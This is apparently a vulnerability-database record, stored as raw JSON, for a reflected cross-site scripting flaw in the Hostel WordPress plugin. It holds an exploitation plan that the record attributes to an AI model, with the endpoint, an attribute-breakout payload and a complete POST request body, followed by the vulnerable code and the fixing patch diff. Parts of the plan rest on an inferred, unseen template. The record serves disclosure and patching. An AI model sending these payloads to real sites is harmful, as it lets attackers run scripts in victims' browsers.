[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fHptwt0zNENZtgFevC7mL_Qe82MmNtifQxd5uELAJPOY":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-1838","hostel-reflected-cross-site-scripting-via-shortcodeid-parameter","Hostel \u003C= 1.1.6 - Reflected Cross-Site Scripting via 'shortcode_id' Parameter","The Hostel plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'shortcode_id' parameter in all versions up to, and including, 1.1.6 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.","hostel",null,"\u003C=1.1.6","1.1.7","medium",6.1,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-04-17 11:44:41","2026-04-18 01:26:04",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F2b9da491-771a-4100-b41a-7411981dd34b?source=api-prod",1,[22,23,24,25,26,27,28,29],"controllers\u002Fajax.php","controllers\u002Fbookings.php","controllers\u002Fhelp.php","controllers\u002Frooms.php","controllers\u002Fshortcodes.php","controllers\u002Fsync.php","helpers\u002Fhtmlhelper.php","hostel.php","researched",false,3,"This research plan outlines the steps to exploit a Reflected Cross-Site Scripting (XSS) vulnerability in the Hostel plugin for WordPress (version \u003C= 1.1.6).\n\n## 1. Vulnerability Summary\nThe **Hostel** plugin is vulnerable to Reflected XSS via the `shortcode_id` parameter in the `wphostel_ajax` handler. The vulnerability exists because the plugin accepts the `shortcode_id` parameter from a `$_POST` request, passes it through `sanitize_text_field()` (which does not escape quotes), and subsequently outputs it within the HTML response of an AJAX request without proper escaping. \n\nThe entry point is the `wphostel_ajax` function in `controllers\u002Fajax.php`, which is registered for both authenticated and unauthenticated users.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: `\u002Fwp-admin\u002Fadmin-ajax.php`\n- **AJAX Action**: `wphostel_ajax`\n- **Vulnerable Parameter**: `shortcode_id`\n- **Required `type` Parameter**: `list_rooms`\n- **Authentication**: Unauthenticated (`wp_ajax_nopriv_wphostel_ajax` is registered in `hostel.php`).\n- **Preconditions**: None. The handler does not verify nonces or capabilities for the `list_rooms` type.\n- **Vector**: Reflected XSS via POST request.\n\n## 3. Code Flow\n1. **Entry Point**: A request is sent to `admin-ajax.php` with `action=wphostel_ajax`.\n2. **Dispatch**: In `hostel.php`, the action is hooked:\n   ```php\n   add_action('wp_ajax_nopriv_wphostel_ajax', 'wphostel_ajax');\n   ```\n3. **Controller**: The function `wphostel_ajax()` in `controllers\u002Fajax.php` is called.\n4. **Switch Logic**: The code reaches the `list_rooms` case:\n   ```php\n   case 'list_rooms':\n       WPHostelRooms :: availability_table(sanitize_text_field($_POST['shortcode_id']), ...);\n   break;\n   ```\n   Note: `sanitize_text_field()` strips HTML tags and line breaks but **does not escape double or single quotes**, making attribute breakout possible.\n5. **Vulnerable Function**: `WPHostelRooms::availability_table()` in `controllers\u002Frooms.php` receives `$shortcode_id`.\n6. **Sink**: The function includes a view template:\n   ```php\n   if(@file_exists(get_stylesheet_directory().'\u002Fwphostel\u002Fpartial\u002Frooms-table.html.php')) \n       include get_stylesheet_directory().'\u002Fwphostel\u002Fpartial\u002Frooms-table.html.php';\n   else \n       include(WPHOSTEL_PATH.\"\u002Fviews\u002Fpartial\u002Frooms-table.html.php\");\n   ```\n   Based on the vulnerability description, the view `rooms-table.html.php` (not provided in full, but inferred) echoes `$shortcode_id` into an HTML attribute or JavaScript block without further escaping (e.g., `esc_attr` or `esc_js`).\n\n## 4. Nonce Acquisition Strategy\nAnalysis of `controllers\u002Fajax.php` confirms that the `wphostel_ajax` function **does not implement any nonce verification** for the `list_rooms` type.\n- No `check_ajax_referer` or `wp_verify_nonce` is present in the `wphostel_ajax` function.\n- No capability check (e.g., `current_user_can`) is performed for the `list_rooms` type.\n\n**Conclusion**: No nonce is required for exploitation.\n\n## 5. Exploitation Strategy\nThe goal is to trigger the XSS by injecting a payload into `shortcode_id` that breaks out of an HTML attribute in the response.\n\n### Step-by-Step Plan:\n1. **Prepare the Payload**: Since `sanitize_text_field` is used, we cannot use `\u003Cscript>` tags. We must use an attribute breakout payload like: `123\" onmouseover=\"alert(1)\" data-x=\"`.\n2. **Submit POST Request**: Use the `http_request` tool to send a POST request to `admin-ajax.php`.\n3. **Parameters**:\n   - `action`: `wphostel_ajax`\n   - `type`: `list_rooms`\n   - `shortcode_id`: `pwn\" onmouseover=\"alert(document.domain)\"`\n4. **Verify Response**: Check the response body for the unescaped payload.\n\n### HTTP Request Details:\n- **URL**: `http:\u002F\u002F\u003Ctarget>\u002Fwp-admin\u002Fadmin-ajax.php`\n- **Method**: `POST`\n- **Headers**: `Content-Type: application\u002Fx-www-form-urlencoded`\n- **Body**: `action=wphostel_ajax&type=list_rooms&shortcode_id=pwn%22+onmouseover%3D%22alert%28document.domain%29%22`\n\n## 6. Test Data Setup\nTo ensure the `availability_table` executes correctly and the view is rendered:\n1. **Create a Room**: Use WP-CLI to create at least one hostel room.\n   ```bash\n   # Example of creating a room to populate the table\n   wp db query \"INSERT INTO wp_hostel_rooms (title, price, rtype, price_type, beds) VALUES ('Deluxe Room', 50, 'private', 'per-room', 2);\"\n   ```\n2. **Verify Table Name**: Ensure the table prefix matches (`wp_hostel_rooms`).\n\n## 7. Expected Results\nA successful exploit will return an AJAX response (HTML) where the `shortcode_id` is reflected inside an attribute.\n**Example expected output fragment**:\n```html\n\u003Ctable id=\"wphostel-rooms-pwn\" onmouseover=\"alert(document.domain)\">\n...\n```\n\n## 8. Verification Steps\nAfter performing the `http_request`, verify the following:\n1. The HTTP response code is `200 OK`.\n2. The response body contains the string `onmouseover=\"alert(document.domain)\"`.\n3. The double quote character `\"` is not encoded as `&quot;`.\n\n## 9. Alternative Approaches\nIf the `list_rooms` type does not reflect the input as expected, analyze `controllers\u002Fajax.php` for other types:\n- **type: `load_booking_form`**: This type also takes `$_POST['room_id']` and calls `WPHostelShortcodes::booking(\"roomID\".intval($_POST['room_id']))`. Since it uses `intval`, it is not vulnerable to XSS.\n- **type: `change_room`**: Calls `WPHostelRooms::default_beds()`, which uses `intval($_POST['room_id'])`. Not vulnerable.\n\nThe `list_rooms` type remains the most viable target due to the direct use of `$_POST['shortcode_id']`.","The Hostel plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'shortcode_id' parameter in the AJAX handler for versions up to 1.1.6. This occurs because the plugin uses sanitize_text_field() which fails to prevent attribute breakout, allowing unauthenticated attackers to inject arbitrary web scripts into pages.","\u002F\u002F controllers\u002Fajax.php line 25-27\n\t\tcase 'list_rooms':\t\t\t\n\t\t\tWPHostelRooms :: availability_table(sanitize_text_field($_POST['shortcode_id']), array('show_titles' => sanitize_text_field($_POST['show_titles'] ?? '')));\n\t\tbreak;\n\n---\n\n\u002F\u002F controllers\u002Frooms.php line 83-125\n\tstatic function availability_table($shortcode_id, $atts = null) {\n\t\tglobal $wpdb;\n\t\t\n\t\t$_room = new WPHostelRoom();\n\t\t$_booking = new WPHostelBooking();\n        \u002F\u002F ... (logic to calculate availability) ...\n\t\t\n\t\tif(@file_exists(get_stylesheet_directory().'\u002Fwphostel\u002Fpartial\u002Frooms-table.html.php')) include get_stylesheet_directory().'\u002Fwphostel\u002Fpartial\u002Frooms-table.html.php';\n\t\telse include(WPHOSTEL_PATH.\"\u002Fviews\u002Fpartial\u002Frooms-table.html.php\");\n\t}","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fhostel\u002F1.1.6\u002Fcontrollers\u002Fajax.php\t2025-03-25 16:46:56.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fhostel\u002F1.1.7\u002Fcontrollers\u002Fajax.php\t2026-03-09 15:20:08.000000000 +0000\n@@ -1,10 +1,13 @@\n \u003C?php\n \u002F\u002F procedural function to dispatch ajax requests\n function wphostel_ajax() {\n-\tglobal $wpdb, $user_ID;\t\n-\t\n-\t$type = empty($_POST['type']) ? $_GET['type'] : $_POST['type'];\t\n-\t\t\n+\tglobal $wpdb, $user_ID;\n+\n+\t\u002F\u002F Verify nonce for security\n+\tcheck_ajax_referer('wphostel_ajax_nonce', 'nonce');\n+\n+\t$type = empty($_POST['type']) ? $_GET['type'] : $_POST['type'];\n+\n \tswitch($type) {\n \t\tcase 'change_room':\n \t\t\tWPHostelRooms :: default_beds();\n@@ -22,10 +25,16 @@\n \t\t\t$_GET['in_booking_mode'] = 1;\n \t\t\t$_GET['from_date'] = sanitize_text_field($_POST['from_date']);\n \t\t\t$_GET['to_date'] = sanitize_text_field($_POST['to_date']);\n-\t\t\techo WPHostelShortcodes :: booking(\"roomID\".intval($_POST['room_id']));\n+\t\t\techo wp_kses_post(WPHostelShortcodes :: booking(\"roomID\".intval($_POST['room_id'])));\n \t\tbreak;\n-\t\tcase 'list_rooms':\t\t\t\n-\t\t\tWPHostelRooms :: availability_table(sanitize_text_field($_POST['shortcode_id']), array('show_titles' => sanitize_text_field($_POST['show_titles'] ?? '')));\n+\t\tcase 'list_rooms':\n+\t\t\t\u002F\u002F Validate and sanitize shortcode_id - must be alphanumeric with underscores\u002Fhyphens only\n+\t\t\t$shortcode_id = sanitize_text_field($_POST['shortcode_id'] ?? '');\n+\t\t\tif (!preg_match('\u002F^[a-zA-Z0-9_-]+$\u002F', $shortcode_id)) {\n+\t\t\t\twp_send_json_error('Invalid shortcode ID');\n+\t\t\t}\n+\t\t\t$show_titles = sanitize_text_field($_POST['show_titles'] ?? '');\n+\t\t\tWPHostelRooms :: availability_table($shortcode_id, array('show_titles' => $show_titles));\n \t\tbreak;\n \t}\n \texit;","The exploit targets the `wphostel_ajax` action, which is registered for unauthenticated users via `wp_ajax_nopriv_wphostel_ajax`. An attacker crafts a POST request to `\u002Fwp-admin\u002Fadmin-ajax.php` with the parameters `action=wphostel_ajax`, `type=list_rooms`, and `shortcode_id`. Because `sanitize_text_field()` does not strip double quotes, the attacker can use a payload like `123\" onmouseover=\"alert(1)\"` to break out of an HTML attribute in the resulting rooms table view. No nonce or authentication is required in the vulnerable version, making this exploit accessible to unauthenticated remote attackers who can trick a user into submitting the request (e.g., via a cross-site request).","gemini-3-flash-preview","2026-04-20 20:10:02","2026-04-20 20:10:34",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","1.1.6","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fhostel\u002Ftags\u002F1.1.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fhostel.1.1.6.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fhostel\u002Ftags\u002F1.1.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fhostel.1.1.7.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fhostel\u002Ftags"]